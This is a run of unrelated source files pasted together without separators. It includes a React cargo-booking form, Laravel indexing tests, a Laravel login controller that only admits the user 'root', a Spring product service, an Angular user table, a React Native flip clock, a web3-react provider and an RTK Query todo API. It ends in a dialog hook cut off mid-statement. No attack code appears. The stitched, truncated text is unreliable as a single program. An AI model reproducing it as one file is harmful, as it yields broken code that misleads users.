import React from 'react' import { useState,useEffect } from 'react'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; import { InputMask } from 'primereact/inputmask'; import { DataTable } from 'primereact/datatable'; import { Column } from 'primereact/column'; import {Button} from 'primereact/button'; import { useNavigate } from 'react-router-dom'; import axios from 'axios'; import Cookies from 'js-cookie'; import saveConsignment from './models/saveConsignment'; function Main() { let navigate=useNavigate(); const[authToken,setAuthToken]=useState(''); const[userid,setuserid]=useState(''); useEffect(() => { const username = 'abc'; const cookieData = Cookies.get('name'); if (cookieData) { const parsedData = JSON.parse(cookieData); const authToken = parsedData.Auth_Token; const userid=parsedData.UserId if(userid){setuserid(userid)}; if (authToken) { setAuthToken(authToken); //request to get cities names axios.get('http://testv6.truckdestino.com/api/Catalogue/KcsGetCities', { headers: { 'Authorization': `Basic ${btoa(`${username}:${authToken}`)}` } }) .then(response => { debugger; if(response.data.Message==='OK'){setData(response.data.Data); const cityNames = response.data.Data.map(city => city.Name); setCities(cityNames); } }) .catch(error => { if(error.response.status===401){ console.error('Error fetching data:', error.response.data); navigate('/'); } }); //request to get categories names axios.get('http://testv6.truckdestino.com/api/Catalogue/KcsGetShipmentCatagoriesWithGoods',{ headers :{ 'Authorization': `Basic ${btoa(`${username}:${authToken}`)}` } }) .then(response=>{ if(response.data.Message==='OK'){ setCategoriesData(response.data.Data); const categories=response.data.Data.map(catagory=>catagory.CatagoryName); setCategories(categories); } }) .catch(error=>{ if(error.response.status===401){ console.error('Error fetching data:', error.response.data); navigate('/'); } }) axios.get('http://testv6.truckdestino.com/api/Catalogue/KcsGetPackingTypes',{ headers :{ 'Authorization': `Basic ${btoa(`${username}:${authToken}`)}` } }) .then(response=>{ if(response.data.Message==='OK'){ const packings=response.data.Data.map(packing=>packing.PackingName); setPackingTypes(packings); } }) .catch(error=>{ if(error.response.status===401){ console.error('Error fetching data:',error.response); navigate('/'); } }) } } }, []) const[selectedcity, setSelectedcity] = useState(''); const[selectOrigin,setSelectOrigin]=useState(''); const[selectOriginCps,setSelectedOriginCps]=useState(''); const[selectTerminalCps,setSelectedTerminalCps]=useState(''); const[category, setCategory] = useState(''); const[goodsType, setGoodsType] = useState(''); const[packingType, setPackingType] = useState(''); const[qty,setQty]=useState(''); const[weight,setWeight]=useState(''); const[cash,setCash]=useState(''); const[received,setReceived]=useState(''); const[Sendername,setSendername]=useState(''); const[SenderMob,setSenderMob]=useState(''); const[ReceiverName,setReceiverName]=useState(''); const[ReceiverMob,setReceiverMob]=useState(''); const[show,setShow]=useState(false); const[declaredvalue,setDeclaredvalue]=useState(''); const[cities,setCities]=useState([]); const[originCps,setOriginCps]=useState([]); const[destinationCps,setDestinationCps]=useState([]); const[data,setData]=useState([]); const[categoriesData,setCategoriesData]=useState([]); const[selectedCategoryId,setSelectedCategoryId]=useState(''); const[showGoods,setShowGoods]=useState([]); const[categories,setCategories]=useState([]); const[packingTypes,setPackingTypes]=useState([]); const[row, setRows] = useState([]); const[errorMsg,setErrorMsg]=useState(''); // for dropdown events //dropdown for origin city const handleoriginSelect = (event) => { setSelectOrigin(event.target.value); setSelectedOriginCps(''); setOriginCps([]); }; useEffect(() => { debugger; console.log(selectOrigin); if(selectOrigin){ const selectedCity = data.find((city) => city.Name === selectOrigin); if (selectedCity) { const selectedCityId = selectedCity.Id; console.log(selectedCityId); getCollectionPoints(selectedCityId); } else { console.error('Selected city not found:', selectOrigin); }} }, [selectOrigin]); //dropdown for terminal city const handlecitySelect = (event) => { setSelectedcity(event.target.value); setSelectedTerminalCps(''); setDestinationCps([]); }; useEffect(()=>{ console.log(selectedcity); // console.log(data); if(selectedcity){const selectedterminalCity = data.find((city) => city.Name === selectedcity); if (selectedterminalCity) { const selectedterminalCityId = selectedterminalCity.Id; console.log(selectedterminalCityId); getTerminalPoints(selectedterminalCityId); } else { console.error('Selected city not found:', selectedcity); } } },[selectedcity]) const handleoriginCps = (event) => { setSelectedOriginCps(event.target.value); }; const handleTerminalCps = (event) => { setSelectedTerminalCps(event.target.value); }; const handleCategorySelect = (event) => { setCategory(event.target.value); }; //getting the id of selected category useEffect(()=>{ //debugger; const selectedCategory=categoriesData.find((cat)=>cat.CatagoryName===category); if(selectedCategory){ setSelectedCategoryId(selectedCategory.CatagoryId); console.log(selectedCategoryId); } },[category]) //validate numeric values const validateNumericInput = (event) => { const { value } = event.target; const isValid = /^\d+$/.test(value); if (!isValid) { setErrorMsg('Only numeric values are allowed.'); } else { setErrorMsg(''); } }; const handleGoodsTypeSelect = (event) => { setGoodsType(event.target.value); }; const handleqty = (event) => { const { value } = event.target; const numericValue = value.replace(/[^0-9]/g, ''); setQty(numericValue); if(errorMsg!=''){ alert(errorMsg); } }; const handleweight = (event) => { const { value } = event.target; const numericValue = value.replace(/[^0-9]/g, ''); setWeight(numericValue); }; const handledeclaredvalue = (event) => { const { value } = event.target; const numericValue = value.replace(/[^0-9]/g, ''); setDeclaredvalue(numericValue); }; const handlecash = (event) => { setCash(event.target.value); }; const handlereceived = (event) => { setReceived(event.target.value); }; const handleSenderName = (event) => { setSendername(event.target.value); }; const handleSenderMob = (event) => { setSenderMob(event.target.value); }; const handleReceiverName = (event) => { setReceiverName(event.target.value); }; const handleReceiverMob = (event) => { setReceiverMob(event.target.value); }; useEffect(()=>{ debugger; if(selectedCategoryId){ const selectedGoods= categoriesData.filter((id)=>id.CatagoryId===selectedCategoryId) const Sgoods=selectedGoods[0].Goods const goodsTypeNames = Sgoods.map((goods) => goods.TypeName); setShowGoods(goodsTypeNames); console.log(showGoods); } },[selectedCategoryId]) const handlePackingTypeSelect = (event) => { setPackingType(event.target.value); }; //Add new Rows const handleAddRow=()=>{ const newrow={ category:category, goodsType:goodsType, packingType:packingType, qty:qty, weight:weight, declaredvalue:declaredvalue, }; setRows([...row,newrow]); setCategory(''); setGoodsType(''); setPackingType(''); setQty(''); setWeight(''); setDeclaredvalue(''); setShow(true); console.log('shutup'); console.log(row); } const deleteRow = (rowData) => { const updatedRows = row.filter((row) => row !== rowData); setRows(updatedRows); if(row.length===1){ setShow(false); } }; //display current date and time function getCurrentDateTime() { var now = new Date(); var date = now.toDateString(); var time = now.toLocaleTimeString(); return date + ' ' + time; } function updateCurrentDateTime() { var currentDateTimeElement = document.getElementById('DateTime'); if (currentDateTimeElement != null) currentDateTimeElement.innerHTML = getCurrentDateTime(); } updateCurrentDateTime(); setInterval(updateCurrentDateTime, 1000); //api request to get Collection Points function getCollectionPoints(cityId) { debugger; const username = 'abc'; axios.post('http://testv6.truckdestino.com/api/Catalogue/KcsGetCargoCollectionPoints', { value: cityId }, { headers: { 'Authorization': `Basic ${btoa(`${username}:${authToken}`)}` } }) .then(response => { if(response.data.Message==='OK'){ const CollectionPoints = response.data.Data.map(c=>c.Name); setOriginCps(CollectionPoints); } }) .catch(error => { if(error.response.status===401){ console.error('Error fetching data:', error.response.data); navigate('/'); } }); } function getTerminalPoints(cityId) { const username = 'abc'; axios.post('http://testv6.truckdestino.com/api/Catalogue/KcsGetCargoCollectionPoints', { value: cityId }, { headers: { 'Authorization': `Basic ${btoa(`${username}:${authToken}`)}` } }) .then(response => { if(response.data.Message==='OK'){ const terminalPoints = response.data.Data.map(c=>c.Name); setDestinationCps(terminalPoints); } }) .catch(error => { if(error.response.status===401){ console.error('Error fetching data:', error.response.data); navigate('/'); } }); } //api request to save data function saveData(){ console.log('API working'); const username = 'abc'; const body=new saveConsignment(); axios.post('http://testv6.truckdestino.com/api/Consigment/SaveConsigment', body , { headers: { 'Authorization': `Basic ${btoa(`${username}:${authToken}`)}` } }) .then(response => { console.log(response.data); alert('hogaya'); }) .catch(error => { console.error(error); }); } return ( <div className='container-fluid mt-4 ' style={{ 'borderRadius': '4px', 'width': '95%' }}> <nav className="navbar navbar-expand-sm shadow p-2"> <div className="container-fluid"> <span className="navbar-text">Booking Details</span> <div id='DateTime' className='navbar-text'>helooo</div> </div> </nav> <div className='row container-fluid p-3'> <div className='col'> <select className="form-select mini shadow p-1" value={selectOrigin} onChange={handleoriginSelect}> <option value="" disabled hidden>Origin Terminal</option> {cities.map((city, index) => ( <option key={index} value={city}> {city} </option> ))} </select> </div> <div className='col'> <select className="form-select mini shadow p-1" value={selectOriginCps} onChange={handleoriginCps}> <option value="" disabled hidden>Origin CCP</option> {originCps.map((ccp, index) => ( <option key={index} value={ccp}> {ccp} </option> ))} </select> </div> <div className='col'> <select className="form-select mini shadow p-1" value={selectedcity} onChange={handlecitySelect}> <option value="" disabled hidden>Destination Terminal</option> {cities.map((city, index) => ( <option key={index} value={city}> {city} </option> ))} </select> </div> <div className='col'> <select className="form-select mini shadow p-1" value={selectTerminalCps} onChange={handleTerminalCps}> <option value="" disabled hidden>Terminal CCP</option> {destinationCps.map((ccp, index) => ( <option key={index} value={ccp}> {ccp} </option> ))} </select> </div> </div> <div className='container-fluid' ><input className='mini shadow p-1' placeholder='Remarks' style={{ 'height': '100px', 'width': '98%' }}></input></div> {/* BOXES */} <div className='row'> <div className='col mt-4 shadow p-1 box'> <nav className='navbar small'> <span className='navbar-text'>Sender Details</span> </nav> <div> <input className='input1 shadow p-1 mt-2' placeholder='Name' value={Sendername} onChange={handleSenderName}></input> </div> <div> <InputMask className='input2 shadow p-1 mt-2' mask="(+92)-999-9999999" placeholder='Mob #' value={SenderMob} onChange={handleSenderMob}></InputMask> </div> <div> <InputMask className='input3 shadow p-1 mt-2' mask='99999-9999999-9' placeholder='CNIC'></InputMask> </div> </div> <div className='col mt-4 shadow p-1 box'> <nav className='navbar small'> <span className='navbar-text'>Reciever Details</span> </nav> <div> <input className='input1 shadow p-1 mt-2' placeholder='Name' value={ReceiverName} onChange={handleReceiverName}></input> </div> <div> <InputMask className='input2 shadow p-1 mt-2' mask="(+92)-999-9999999" unmask="(+92" placeholder='Mob #' value={ReceiverMob} onChange={handleReceiverMob}></InputMask> </div> <div> <InputMask className='input3 shadow p-1 mt-2' mask='99999-9999999-9' placeholder='CNIC'></InputMask> </div> </div> <div className='col mt-4 shadow p-1 box'> <nav className='navbar small'> <span className='navbar-text'>Calculate Amount</span> <button className='cal'><FontAwesomeIcon icon="fa-solid fa-calculator" size="2x" /></button> </nav> <div> <input className='input1 shadow p-1 mt-2' placeholder='Cash' value={cash} onChange={handlecash}></input> </div> <div> <input className='input2 shadow p-1 mt-2' placeholder='Recievable'></input> </div> <div> <input className='input3 shadow p-1 mt-2' placeholder='Recieved' value={received} onChange={handlereceived}></input> </div> </div> </div> {/* shipment box */} <div className='col mt-4 mb-3 shadow p-1 box' style={{ 'height': 'auto' }}> <nav className='navbar small'> <span className='navbar-text'>Shipment Details</span> <button className='save'onClick={handleAddRow}><FontAwesomeIcon icon="fa-solid fa-plus" size='2x' /></button> <button className='del' onClick={()=>saveData()}><FontAwesomeIcon icon="fa-solid fa-save" size="2x" /></button> </nav> <div className='row container-fluid p-3'> <div className='col'> <select className="form-select mini shadow p-1" value={category} onChange={handleCategorySelect}> <option value="" disabled hidden>Category</option> {categories.map((cate, index) => ( <option key={index} value={cate}> {cate} </option> ))} </select> </div> <div className='col'> <select className="form-select mini shadow p-1" value={goodsType} onChange={handleGoodsTypeSelect}> <option value="" disabled hidden>Goods Type</option> {showGoods.map((good,index) => ( <option key={index} value={good}> {good} </option> ))} </select> </div> <div className='col'> <select className="form-select mini shadow p-1" value={packingType} onChange={handlePackingTypeSelect}> <option value="" disabled hidden>Packing Type</option> {packingTypes.map((pack,index) => ( <option key={index} value={pack}> {pack} </option> ))} </select> </div> </div> <div className='row container-fluid p-3'> <div className='col'><input className='mini shadow p-1' placeholder='Quantity' value={qty} onChange={handleqty} onBlur={validateNumericInput}></input></div> <div className='col'><input className='mini shadow p-1' placeholder='Total Weight' value={weight} onChange={handleweight} onBlur={validateNumericInput}></input></div> <div className='col'><input className='mini shadow p-1' placeholder='Declared value' value={declaredvalue} onChange={handledeclaredvalue} onBlur={validateNumericInput}></input></div> </div> {show && <div className='row container-fluid p-3'> <DataTable value={row} tableStyle={{ minWidth: '50rem' }}> <Column field='category' header='Category' /> <Column field='goodsType' header='Goods Type' /> <Column field='packingType' header='Packing Type' /> <Column field='qty' header='Quantity' /> <Column field='weight' header='Total Weight' /> <Column field='declaredvalue' header='Declared Value' /> <Column field="<button>" header="Delete order" body={(rowData) => ( <Button icon="pi pi-trash" className="p-button-danger" onClick={() => deleteRow(rowData)} /> )} /> </DataTable> </div>} </div> </div> ) } export default Main
<?php declare(strict_types=1); use App\Jobs\IndexBlocks; use App\Models\Block; use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Config; use Illuminate\Support\Facades\Event; use Illuminate\Support\Facades\Http; use Laravel\Scout\Events\ModelsImported; use Meilisearch\Client as MeilisearchClient; use Meilisearch\Endpoints\Indexes; beforeEach(function () { // Default value, overriden in phpunit.xml for the tests Config::set('scout.driver', 'meilisearch'); // Mock the Meilisearch client and indexes $mock = $this->mock(MeilisearchClient::class); $indexes = $this->mock(Indexes::class); $mock->shouldReceive('index')->andReturn($indexes); $indexes->shouldReceive('addDocuments'); }); it('should index new blocks', function () { Event::fake(); Cache::shouldReceive('get') ->with('latest-indexed-timestamp:blocks') ->andReturn(null) ->shouldReceive('put') ->with('latest-indexed-timestamp:blocks', 10) ->once(); $latestIndexedBlock = Block::factory()->create([ 'timestamp' => 5, ]); $newBlock = Block::factory()->create([ 'timestamp' => 10, ]); $oldBlock = Block::factory()->create([ 'timestamp' => 1, ]); $url = sprintf( '%s/indexes/%s/search', config('scout.meilisearch.host'), 'blocks' ); Http::fake([ $url => Http::response([ 'hits' => [ $latestIndexedBlock->toSearchableArray(), ], ]), ]); IndexBlocks::dispatch(); Event::assertDispatched(ModelsImported::class, function ($event) use ($newBlock) { return $event->models->count() === 1 && $event->models->first()->is($newBlock); }); }); it('should index new blocks using the timestamp from cache', function () { Event::fake(); Cache::shouldReceive('get') ->with('latest-indexed-timestamp:blocks') ->andReturn(2) // so new ones are the one with timestamp 5 and 10 ->shouldReceive('put') ->with('latest-indexed-timestamp:blocks', 10) ->once(); Block::factory()->create([ 'timestamp' => 10, ]); Block::factory()->create([ 'timestamp' => 5, ]); Block::factory()->create([ 'timestamp' => 1, ]); IndexBlocks::dispatch(); Event::assertDispatched(ModelsImported::class, function ($event) { return $event->models->count() === 2 && $event->models->pluck('timestamp')->sort()->values()->toArray() === [5, 10]; }); }); it('should not store any value on cache if no new transactions', function () { Event::fake(); Cache::shouldReceive('get') ->with('latest-indexed-timestamp:blocks') ->andReturn(6); Block::factory()->create([ 'timestamp' => 5, ]); IndexBlocks::dispatch(); Event::assertNotDispatched(ModelsImported::class); }); it('should not index anything if meilisearch is empty', function () { Event::fake(); $latestIndexedBlock = Block::factory()->create([ 'timestamp' => 5, ]); $newBlock = Block::factory()->create([ 'timestamp' => 10, ]); $oldBlock = Block::factory()->create([ 'timestamp' => 1, ]); $url = sprintf( '%s/indexes/%s/search', config('scout.meilisearch.host'), 'blocks' ); Http::fake([ $url => Http::response([ // Empty results 'hits' => [], ]), ]); IndexBlocks::dispatch(); Event::assertNotDispatched(ModelsImported::class); });
<?php namespace App\Http\Controllers\Auth; use App\Classes\Endeavour\Endeavour; use App\Http\Controllers\Controller; use App\Models\User; use App\Providers\RouteServiceProvider; use Illuminate\Foundation\Auth\AuthenticatesUsers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Validation\ValidationException; class LoginController extends Controller { /* |-------------------------------------------------------------------------- | Login Controller |-------------------------------------------------------------------------- | | This controller handles authenticating users for the application and | redirecting them to your home screen. The controller uses a trait | to conveniently provide its functionality to your applications. | */ use AuthenticatesUsers; /** * Where to redirect users after login. * * @var string */ protected $redirectTo = RouteServiceProvider::HOME; /** * Create a new controller instance. * * @return void */ public function __construct() { $this->middleware('guest')->except('logout'); } public function login(Request $request) { $this->validateLogin($request); // If the class is using the ThrottlesLogins trait, we can automatically throttle // the login attempts for this application. We'll key this by the username and // the IP address of the client making these requests into this application. if (method_exists($this, 'hasTooManyLoginAttempts') && $this->hasTooManyLoginAttempts($request)) { $this->fireLockoutEvent($request); return $this->sendLockoutResponse($request); } if ($this->attemptLogin($request)) { return $this->sendLoginResponse($request); } // If the login attempt was unsuccessful we will increment the number of attempts // to login and redirect the user back to the login form. Of course, when this // user surpasses their maximum number of attempts they will get locked out. $this->incrementLoginAttempts($request); return $this->sendFailedLoginResponse($request); } protected function sendFailedLoginResponse(Request $request) { return redirect(route("home"))->withError("Invalid "); } protected function validateLogin(Request $request) { $request->validate([ 'username' => 'required|string', 'password' => 'required|string', ]); } public function attemptLogin(Request $request) { $endeavour = new Endeavour; $response = $endeavour->login($request->input("username"), $request->input("password")); if ($response->success === true) { session([$request->input("username") => $response->data->token]); return true; } return false; } protected function sendLoginResponse(Request $request) { if (!$request->input("username")) { $this->incrementLoginAttempts($request); return $this->sendFailedLoginResponse($request); } if ($request->input("username") != "root") { $this->incrementLoginAttempts($request); return $this->sendFailedLoginResponse($request); } $user = User::where("username", $request->input("username"))->first(); Auth::login($user); $request->session()->regenerate(); $this->clearLoginAttempts($request); return redirect()->intended($this->redirectPath()); } }
package com.work.ecart.service; import com.work.ecart.dto.GenericResponse; import com.work.ecart.dto.ProductReqDto; import com.work.ecart.dto.ProductResDto; import com.work.ecart.entity.Category; import com.work.ecart.entity.Product; import com.work.ecart.exception.ResourceNotFoundException; import com.work.ecart.repository.CategoryRepository; import com.work.ecart.repository.ProductRepository; import com.work.ecart.util.ImageUtils; import org.modelmapper.ModelMapper; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.domain.Page; import org.springframework.data.domain.PageRequest; import org.springframework.stereotype.Service; import org.springframework.web.multipart.MultipartFile; import java.io.IOException; import java.util.List; import java.util.stream.Collectors; @Service public class ProductServiceImpl implements ProductService{ @Autowired private ProductRepository productRepository; @Autowired private CategoryRepository categoryRepository; @Autowired private ModelMapper modelMapper; @Override public GenericResponse saveProduct(ProductReqDto productReqDto, MultipartFile file) throws ResourceNotFoundException, IOException { GenericResponse genericResponse=new GenericResponse<>(); Category category = categoryRepository.findById(productReqDto.getCategory_id()) .orElseThrow(() -> new ResourceNotFoundException("Category", "id", productReqDto.getCategory_id())); Product product = new Product(); product.setName(productReqDto.getName()); product.setProductImage(file.getBytes()); product.setProductCode(productReqDto.getProductCode()); product.setBrand(productReqDto.getBrand()); product.setRate(productReqDto.getRate()); product.setProductImgName(file.getOriginalFilename()); product.setCategory(category); productRepository.save(product); ProductResDto productResDto = new ProductResDto(); productResDto.setName(product.getName()); productResDto.setCategoryType(product.getCategory().getType()); productResDto.setRate(product.getRate()); productResDto.setBrand(product.getBrand()); genericResponse.setSuccess(true); genericResponse.setMessage("Product Saved"); genericResponse.setData(productResDto); return genericResponse; } @Override public GenericResponse getAllProducts(Integer pageNo, Integer pageSize) { PageRequest pageRequest = PageRequest.of(pageNo,pageSize); Page<Product> page = productRepository.findAll(pageRequest); List<Product> productList = page.getContent(); List<ProductResDto> productResDtoList = productList.stream() .map(product -> modelMapper.map(product,ProductResDto.class)) .collect(Collectors.toList()); GenericResponse genericResponse=new GenericResponse<>(); genericResponse.setData(productResDtoList); genericResponse.setMessage("List of products retrieved successfully "); genericResponse.setSuccess(true); return genericResponse; } @Override public GenericResponse updateProduct(ProductReqDto productReqDto,MultipartFile file,Integer id) throws ResourceNotFoundException, IOException { Product product=productRepository.findById(id) .orElseThrow(()->new ResourceNotFoundException("product","id",id)); Category category=categoryRepository.findById(productReqDto.getCategory_id()) .orElseThrow(()->new ResourceNotFoundException("category","id",id)); product.setRate(productReqDto.getRate()); product.setProductImage(file.getBytes()); product.setCategory(category); product.setProductCode(productReqDto.getProductCode()); product.setBrand(productReqDto.getBrand()); product.setRate(productReqDto.getRate()); product.setProductImgName(file.getOriginalFilename()); productRepository.save(product); ProductResDto productResDto =new ProductResDto(); productResDto.setName(product.getName()); productResDto.setRate(product.getRate()); productResDto.setBrand(product.getBrand()); productResDto.setCategoryType(product.getCategory().getType()); GenericResponse genericResponse = new GenericResponse<>(); genericResponse.setSuccess(true); genericResponse.setData(productResDto); genericResponse.setMessage("Product successfully updated"); return genericResponse; } @Override public GenericResponse deleteProduct(Integer id) throws ResourceNotFoundException { Product product = productRepository.findById(id) .orElseThrow(()->new ResourceNotFoundException("Product","id",id)); ProductResDto productResDto = new ProductResDto(); productResDto.setCategoryType(product.getCategory().getType()); productResDto.setName(product.getName()); productResDto.setRate(product.getRate()); productResDto.setBrand(product.getBrand()); productRepository.delete(product); GenericResponse genericResponse =new GenericResponse<>(); genericResponse.setSuccess(true); genericResponse.setData(productResDto); genericResponse.setMessage("Product deleted successfully"); return genericResponse; } @Override public GenericResponse filterProductAbove(Integer rate) { List<Product> productList = productRepository.filterProductByRateAbove(rate); GenericResponse genericResponse=new GenericResponse<>(); genericResponse.setMessage("Filter successful"); genericResponse.setSuccess(true); genericResponse.setData(productList); return genericResponse; } }
<app-navbar></app-navbar> <p class="bg-dark" style="border: 0px; margin: 0px;"><input class="bg-light" style="border: 0px; margin: 0;" type="text" [(ngModel)]="searchCriteria" placeholder="Search"></p> <table [ngClass]="tbl"> <thead> <tr> <th>Id<button (click)="sortFn('id')" class="btn btn-link"><img [src]="idImg" width="45px"></button></th> <th>Username<button (click)="sortFn('username')" class="btn btn-link"><img [src]="usernameImg" width="45px"></button></th> <th>First Name<button (click)="sortFn('firstname')" class="btn btn-link"><img [src]="firstNameImg" width="45px"></button></th> <th>Last Name<button (click)="sortFn('lastname')" class="btn btn-link"><img [src]="lastNameImg" width="45px"></button></th> <th>Phone<button (click)="sortFn('phone')" class="btn btn-link"><img [src]="phoneImg" width="45px"></button></th> <th>Email<button (click)="sortFn('email')" class="btn btn-link"><img [src]="emailImg" width="45px"></button></th> <th>Is Reviewer<button (click)="sortFn('isReviewer')" class="btn btn-link"><img [src]="isReviewerImg" width="45px"></button></th> <th>Is Admin<button (click)="sortFn('isAdmin')" class="btn btn-link"><img [src]="isAdminImg" width="45px"></button></th> <th style="text-align: center;" colspan="2">Actions</th> </tr> </thead> <tbody> <tr *ngFor="let u of users | searchUser:searchCriteria | sort:sortColumn:sortAsc "> <td>{{u.id}}</td> <td>{{u.username}}</td> <td>{{u.firstname}}</td> <td>{{u.lastname}}</td> <td>{{u.phone}}</td> <td>{{u.email}}</td> <td>{{u.isReviewer | bool}}</td> <td>{{u.isAdmin | bool}}</td> <td> <a routerLink="/user/detail/{{u.id}}">Details</a> </td> <td *ngIf="display"> <a routerLink="/user/edit/{{u.id}}">Edit</a> </td> </tr> </tbody> </table> <a *ngIf="display" style="color: black;" routerLink="/user/create">Create New User</a>
import { StyleSheet, Text, View, Pressable, Animated, Easing, Dimensions } from 'react-native'; import { useState, useEffect, useRef } from 'react'; import { creteClockStyles } from './ClockStyles' namespace Clock { export interface Props { width: number, number: number } export const Component = (props: Props) => { let topCardRotation = useRef(new Animated.Value(0)).current let bottomCardRotation = useRef(new Animated.Value(0)).current const [oldNumber, setOldNimber] = useState(props.number); const duration = 800; const width = props.width; const height = props.width * 2; const animationConfig = { useNativeDriver: false, toValue: 1, duration: duration / 2.0, } useEffect(() => { topCardRotation.setValue(0); bottomCardRotation.setValue(0); Animated.parallel([ Animated.timing( topCardRotation, animationConfig ), Animated.timing( bottomCardRotation, { ...animationConfig, delay: duration / 2.0 } ) ]).start(); return () => { setOldNimber(props.number); } }, [props.number]) const topCardRotationDegree = topCardRotation.interpolate({ inputRange: [0, 1], outputRange: ['0deg', '-90deg'], easing: Easing.in(Easing.exp) }); const bottomCardRotationDegree = bottomCardRotation.interpolate({ inputRange: [0, 1], outputRange: ['90deg', '0deg'], easing: Easing.out(Easing.exp) }); const clockStyles = creteClockStyles({height: height, width: width}); return ( <> <View style={clockStyles.flipClock}> <View style={clockStyles.flipClock__piece}> <View style={clockStyles.card}> <Animated.View className="card__front__top" style={[ clockStyles.card__share, clockStyles.card__top, createCardRotationStyles({ height: height, degree: topCardRotationDegree }).card_front_top ]}> <View style={[ clockStyles.textWrapper, clockStyles.textWrapperTop ]}> <Text style={[clockStyles.text]}>{oldNumber}</Text> </View> </Animated.View> <View className="card__front__bottom" data-value='5' style={[ clockStyles.card__share, clockStyles.card__front, clockStyles.card__bottom]}> <View style={[ clockStyles.textWrapper, clockStyles.textWrapperBottom ]}> <Text style={[clockStyles.text]}>{oldNumber}</Text> </View> </View> <View className="card__back__top" data-value='4' style={[ clockStyles.card__share, clockStyles.card__back, clockStyles.card__top, ]}> <View style={[ clockStyles.textWrapper, clockStyles.textWrapperTop ]}> <Text style={[clockStyles.text]}>{props.number}</Text> </View> </View> <Animated.View className="card__back__bottom" data-value='4' style={[ clockStyles.card__share, clockStyles.card__back, clockStyles.card__bottom, createCardRotationStyles({ height: height, degree: bottomCardRotationDegree }).card_back_bottom ]}> <View style={[ clockStyles.textWrapper, clockStyles.textWrapperBottom ]}> <Text style={[clockStyles.text]}>{props.number}</Text> </View> </Animated.View> </View> </View> </View> </> ) } const createCardRotationStyles = (props) => StyleSheet.create({ card_front_top: { zIndex: 11, transform: [ { perspective: 2000 }, { translateY: (props.height / 4.0) }, { rotateX: props.degree }, { translateY: -1 * (props.height / 4.0) }, ] }, card_back_bottom: { zIndex: 12, transform: [ { perspective: 2000 }, { translateY: -1 * (props.height / 4.0) }, { rotateX: props.degree }, { translateY: (props.height / 4.0) }, ] }, }) } export default Clock
import React, { createContext, useContext, useMemo, useState, useEffect } from 'react'; import { Manager } from './manager.js'; import { invariant } from '../vendor/tiny-invariant.js'; export const PRIMARY_KEY = 'primary'; const CONTEXTS = {}; export function createWeb3ReactRoot(key) { invariant(!CONTEXTS[key], `A root already exists for provided key ${key}`); CONTEXTS[key] = createContext({ activate: async () => { invariant(false, 'No <Web3ReactProvider ... /> found.'); }, setError: () => { invariant(false, 'No <Web3ReactProvider ... /> found.'); }, deactivate: () => { invariant(false, 'No <Web3ReactProvider ... /> found.'); }, active: false }); CONTEXTS[key].displayName = `Web3ReactContext - ${key}`; const Provider = CONTEXTS[key].Provider; return function Web3ReactProvider({ getLibrary, children }) { const [manager] = useState(() => new Manager()); const [state, setState] = useState({}); const { connector, provider, chainId, account, error } = state; useEffect(() => { const store = manager.getStore(); const unsubscribe = store.subscribe(() => { setState(store.getState()); }); return () => { manager.handleUnmount(); unsubscribe(); }; }, [manager]); const active = connector !== undefined && chainId !== undefined && account !== undefined && !error; const library = useMemo(() => active && chainId !== undefined && Number.isInteger(chainId) && !!connector ? getLibrary(provider, connector) : undefined, [active, getLibrary, provider, connector, chainId]); const web3ReactContext = { connector, library, chainId, account, activate: manager.activate, setError: manager.setError, deactivate: manager.deactivate, active, error }; return <Provider value={web3ReactContext}>{children}</Provider>; }; } export const Web3ReactProvider = createWeb3ReactRoot(PRIMARY_KEY); export function getWeb3ReactContext(key = PRIMARY_KEY) { invariant(Object.keys(CONTEXTS).includes(key), `Invalid key ${key}`); return CONTEXTS[key]; } export function useWeb3React(key) { return useContext(getWeb3ReactContext(key)); }
import { createApi, fetchBaseQuery } from '@reduxjs/toolkit/query/react' type Todo = { id?: number, title:string, description:string, category:string, completed:boolean } // Define a service using a base URL and expected endpoints export const getAllTodo = createApi({ reducerPath: 'allTodo', baseQuery: fetchBaseQuery({ baseUrl: 'http://localhost:8000/' }), tagTypes:["fetchTodo"], endpoints: (builder) => ({ getAllTodos: builder.query<any, string>({ query: () => `todo`, providesTags:["fetchTodo"] }), getTodoById: builder.mutation({ query:({id})=> ({ url: `todo/${id}`, method:'GET', }) }), deleteTodo: builder.mutation({ query:({id})=> ({ url: `todo/${id}`, method:'DELETE', }), invalidatesTags:["fetchTodo"] }), createTodo: builder.mutation({ query:(data: any)=> ({ url: `todo`, method:'PUT', body:data }), invalidatesTags:["fetchTodo"] }), updateTodo: builder.mutation({ query:(data: any)=> ({ url: `todo/`, method:'PATCH', body:data }), invalidatesTags:["fetchTodo"] }), markComplete: builder.mutation({ query:(data: any)=> ({ url: `todo/mark-complete`, method:'PATCH', body:data }), invalidatesTags:["fetchTodo"] }) }), }) // Export hooks for usage in functional components, which are // auto-generated based on the defined endpoints export const { useGetAllTodosQuery, useGetTodoByIdMutation, useCreateTodoMutation, useDeleteTodoMutation, useUpdateTodoMutation, useMarkCompleteMutation } = getAllTodo
import { MutableRefObject, Ref, RefCallback, useCallback, useImperativeHandle, useMemo, useRef, useState, } from "react"; import { usePortal } from "../hooks"; import { exhaustiveMatchGuard } from "../utils"; export type DialogDefaultState = Record<string, unknown>; export type DialogRef<T extends DialogDefaultState = DialogDefaultState> = { handleOpen: ( e: | React.MouseEvent<HTMLElement> | React.FocusEvent<HTMLElement> | undefined, initialData?: T ) => void; handleClose: () => void; nodeRef: MutableRefObject<HTMLDialogElement | null>; }; export type DialogState<T extends DialogDefaultState = DialogDefaultState> = T; export type UseDialogOptions = { /** * The type of dialog that should be rendered */ type: "modal" | "default"; /** * Option to determine if the dialog should be closed * by clicking on the ::backdrop element * @default true */ closeOnBackdropClick?: boolean; /** * A general handler to do something after the dialog * full closes */ onClose?: () => void; }; export const useDialog = <T extends DialogDefaultState = DialogDefaultState>( params: UseDialogOptions & { ref: MutableRefObject<DialogRef<T>> | Ref<DialogRef<T>>; } ) => { const iDialogRef = useRef<HTMLDialogElement | null>(null); const [dialogState, setDialogState] = useState<DialogState<T>>(); const { Portal, openPortal, closePortal } = usePortal(); const dialogEventClickRef = useRef<void | null>(null); const dialogEventCancelRef = useRef<void | null>(null); const closeDialog = useCallback(async () => { if (!iDialogRef.current) return; const dialogNode = iDialogRef.current; const onClose = params?.onClose ?? (() => void 0); // add the class close to the dialog to add any closing animations dialogNode.dataset["close"] = "true"; // get the animations on the entire dialog and wait until they complete const animations = 